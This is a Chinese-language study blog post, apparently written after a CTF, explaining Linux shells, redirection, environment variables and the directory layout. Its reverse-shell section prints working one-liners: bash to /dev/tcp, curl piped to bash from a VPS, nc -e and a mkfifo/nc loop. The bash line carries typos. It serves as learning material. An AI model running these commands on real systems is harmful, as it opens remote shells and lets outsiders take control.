0%

linux&shell&反弹shell&环境变量

近期学习了许多关于Linux的基础知识,也从侧面反映出了我上课所学的基础知识没有多加练习,忘了不少。
本文学习路线:首先是在CTF比赛中遇到了需要反弹shell的问题,采用常用反弹shell的方式无法反弹,于是学习了用curl反弹shell等多种反弹shell的方式;探究反弹shell的本质,学习到了<与>以及输入输出重定向;
跑脚本的时候太麻烦,需要切换到脚本目录,于是学习了如何添加环境变量以及如何用alias。

预备知识

linux shell、反弹shell、重定向、环境变量

参考、致敬(强烈建议先阅读参考、致敬的文章再阅读本文)

https://xz.aliyun.com/t/2548
https://xz.aliyun.com/t/2549
http://www.linuxso.com/command/alias.html
https://blog.csdn.net/revilwang/article/details/8374362
https://blog.csdn.net/flw8840488/article/details/90513873
https://blog.csdn.net/lw305080/article/details/52054188
https://www.runoob.com/linux/linux-system-contents.html

shell

如何理解shell?
shell是用户与Linux内核之间的一层“代理”,用户通过shell与Linux内核建立联系。shell是在内核基础上编写的应用程序。
当然,shell也支持编程,这里不展开讲解。

反弹shell

先说怎么反弹shell,再说反弹shell的原理。
首先攻击机上执行 nc -lvp 8888

bash反弹

bash -i &> /dev/tcp/ip/prot 0&>1

curl反弹

首先在公网vps 写好反弹shell的语句 保存到ip/bash
RCE: curl ip/bash |bash // |是管道符,意思是将上一个的输出作为下一个的输入

nc反弹

受害机执行 nc -e /bin/sh ip port
如果nc版本不对的话可以这样:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ip port >/tmp/f

exec

exec 5<>/dev/tcp/ip/port;cat <&5|while read line;do $line >&5 2>&1;done

理解反弹shell

  • 第一句:bash -i &> /dev/tcp/ip/prot 0&>1
    理解:将交互式bash的输出与错误输出重定向到/dev/tcp/ip/port 文件,并且将标准输入重定向到标准输出。
    前面的&>代表将输出与错误输出都重定向到后面的文件,后面的0&>1代表将标准输入(文件操作符0)重定向到标准输出(文件操作符1)。注意,这里的&代表了识别后面的1为文件操作符(代表标准输出),而不是“1”这个文件。
    Linux操作系统把所有内容都抽象为文件,包括tcp连接。
    示意图
    虚线表示了stdin 重定向到stdout,由于stdout已经重定向到了/dev/tcp/ip/port ,所以stdin也将重定向到/dev/tcp/ip/port。
  • 第二句 RCE: curl ip/bash |bash // |是管道符,意思是将上一个的输出作为下一个的输入
    首先在公网vps上写一个文件,内容为bash -i &> /dev/tcp/ip/prot 0&>1 重命名为bash
    然后再受害机上执行curl ip/bash | bash 意思就是说通过curl获取bash的html内容,并且作为下一个的输入。bash是Linux中的shell,用于用户和内核交互。相当于用户输入了bash -i &> /dev/tcp/ip/prot 0&>1
  • 第三句 rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ip port >/tmp/f
    相当于创建了一个管道/tmp/f ,错误输出重定向到标准输出,标准输出重定向到/tmp/f ,把cat /tmp/f的结果传给交互式shell执行,传给nc ip port。形成环路。
    大佬解读:mkfifo 命令首先创建了一个管道,cat 将管道里面的内容输出传递给/bin/sh,sh会执行管道里的命令并将标准输出和标准错误输出结果通过nc 传到该管道,由此形成了一个回路
    我的解读:其实后半段的意思就是把传进来的命令用/bash/sh 执行,然后把结果传给ip port,然后 ip port 发送的结果传给/tmp/f,然后cat tmp /f,然后shell执行….就这么套娃,交互式shell就成了。

    环境变量

    环境变量文件:
  • /etc/profile 全局用户,应用于所有的Shell。
  • /$HOME/.profile 当前用户,应用于所有的Shell。
  • /etc/bash_bashrc 全局用户,应用于Bash Shell。
  • ~/.bashrc 局部当前,应用于Bash Sell。
    写入/etc/profile文件
    export $PATH:/dir/subdir

    环境变量解析过程

    系统环境变量

    /etc/profile: 此文件为系统的每个用户设置环境信息,当用户第一次登录时,该文件被执行,并从/etc/profile.d目录的配置文件中搜集shell的设置.
    /etc/bashrc: 为每一个运行bash shell的用户执行此文件.当bash shell被打开时,该文件被读取.

    用户环境变量

    .bash_profile :定义了用户的个人化路径与环境变量的文件名称。每个用户都可使用该文件输入专用于自己使用的shell信息,当用户登录时,该文件仅仅执行一次。(在这个文件中有执行.bashrc的脚本)
    .bashrc :该文件包含专用于你的shell的bash信息,当登录时以及每次打开新的shell时,该该文件被读取。例如你可以将用户自定义的alias或者自定义变量写到这个文件中。
    .bash_history :记录命令历史用的。
    .bash_logout :当退出shell时,会执行该文件。可以把一些清理的工作放到这个文件中。

    用户切换与环境变量

    大部分Linux发行版的默认账户是普通账户,而更改系统文件或者执行某些命令,需要root身份才能进行,这就需要从当前用户切换到root用户,Linux中切换用户的命令是su或su -
    前者只是切换root身份,但shell环境仍然是普通用户的shell;
    而后者连用户和shell环境一起切换成root身份了。只有切换了shell环境才不会出现PATH环境变量错误。su切换成root用户以后,pwd一下,发现工作目录仍然是普通用户的工作目录;而用su - 命令切换以后,工作目录变成root工作目录了。

    Linux文件目录

/bin:
bin是Binary的缩写, 这个目录存放着最经常使用的命令。

/boot:
这里存放的是启动Linux时使用的一些核心文件,包括一些连接文件以及镜像文件。

/dev :
dev是Device(设备)的缩写, 该目录下存放的是Linux的外部设备,在Linux中访问设备的方式和访问文件的方式是相同的。

/etc:
这个目录用来存放所有的系统管理所需要的配置文件和子目录。

/home:
用户的主目录,在Linux中,每个用户都有一个自己的目录,一般该目录名是以用户的账号命名的。

/lib:
这个目录里存放着系统最基本的动态连接共享库,其作用类似于Windows里的DLL文件。几乎所有的应用程序都需要用到这些共享库。

/lost+found:
这个目录一般情况下是空的,当系统非法关机后,这里就存放了一些文件。

/media:
linux系统会自动识别一些设备,例如U盘、光驱等等,当识别后,linux会把识别的设备挂载到这个目录下。

/mnt:
系统提供该目录是为了让用户临时挂载别的文件系统的,我们可以将光驱挂载在/mnt/上,然后进入该目录就可以查看光驱里的内容了。

/opt:
这是给主机额外安装软件所摆放的目录。比如你安装一个ORACLE数据库则就可以放到这个目录下。默认是空的。

/proc:
这个目录是一个虚拟的目录,它是系统内存的映射,我们可以通过直接访问这个目录来获取系统信息。
这个目录的内容不在硬盘上而是在内存里,我们也可以直接修改里面的某些文件,比如可以通过下面的命令来屏蔽主机的ping命令,使别人无法ping你的机器:

/root:
该目录为系统管理员,也称作超级权限者的用户主目录。

/sbin:
s就是Super User的意思,这里存放的是系统管理员使用的系统管理程序。

/selinux:
这个目录是Redhat/CentOS所特有的目录,Selinux是一个安全机制,类似于windows的防火墙,但是这套机制比较复杂,这个目录就是存放selinux相关的文件的。

/srv:
该目录存放一些服务启动之后需要提取的数据。

/sys:

这是linux2.6内核的一个很大的变化。该目录下安装了2.6内核中新出现的一个文件系统 sysfs 。

sysfs文件系统集成了下面3种文件系统的信息:针对进程信息的proc文件系统、针对设备的devfs文件系统以及针对伪终端的devpts文件系统。
该文件系统是内核设备树的一个直观反映。

当一个内核对象被创建的时候,对应的文件和目录也在内核对象子系统中被创建。

/tmp:
这个目录是用来存放一些临时文件的。

/usr:
这是一个非常重要的目录,用户的很多应用程序和文件都放在这个目录下,类似于windows下的program files目录。

/usr/bin:
系统用户使用的应用程序。

/usr/sbin:
超级用户使用的比较高级的管理程序和系统守护程序。

/usr/src:
内核源代码默认的放置目录。

/var:
这个目录中存放着在不断扩充着的东西,我们习惯将那些经常被修改的目录放在这个目录下。包括各种日志文件。

/run:
是一个临时文件系统,存储系统启动以来的信息。当系统重启时,这个目录下的文件应该被删掉或清除。如果你的系统上有 /var/run 目录,应该让它指向 run

分享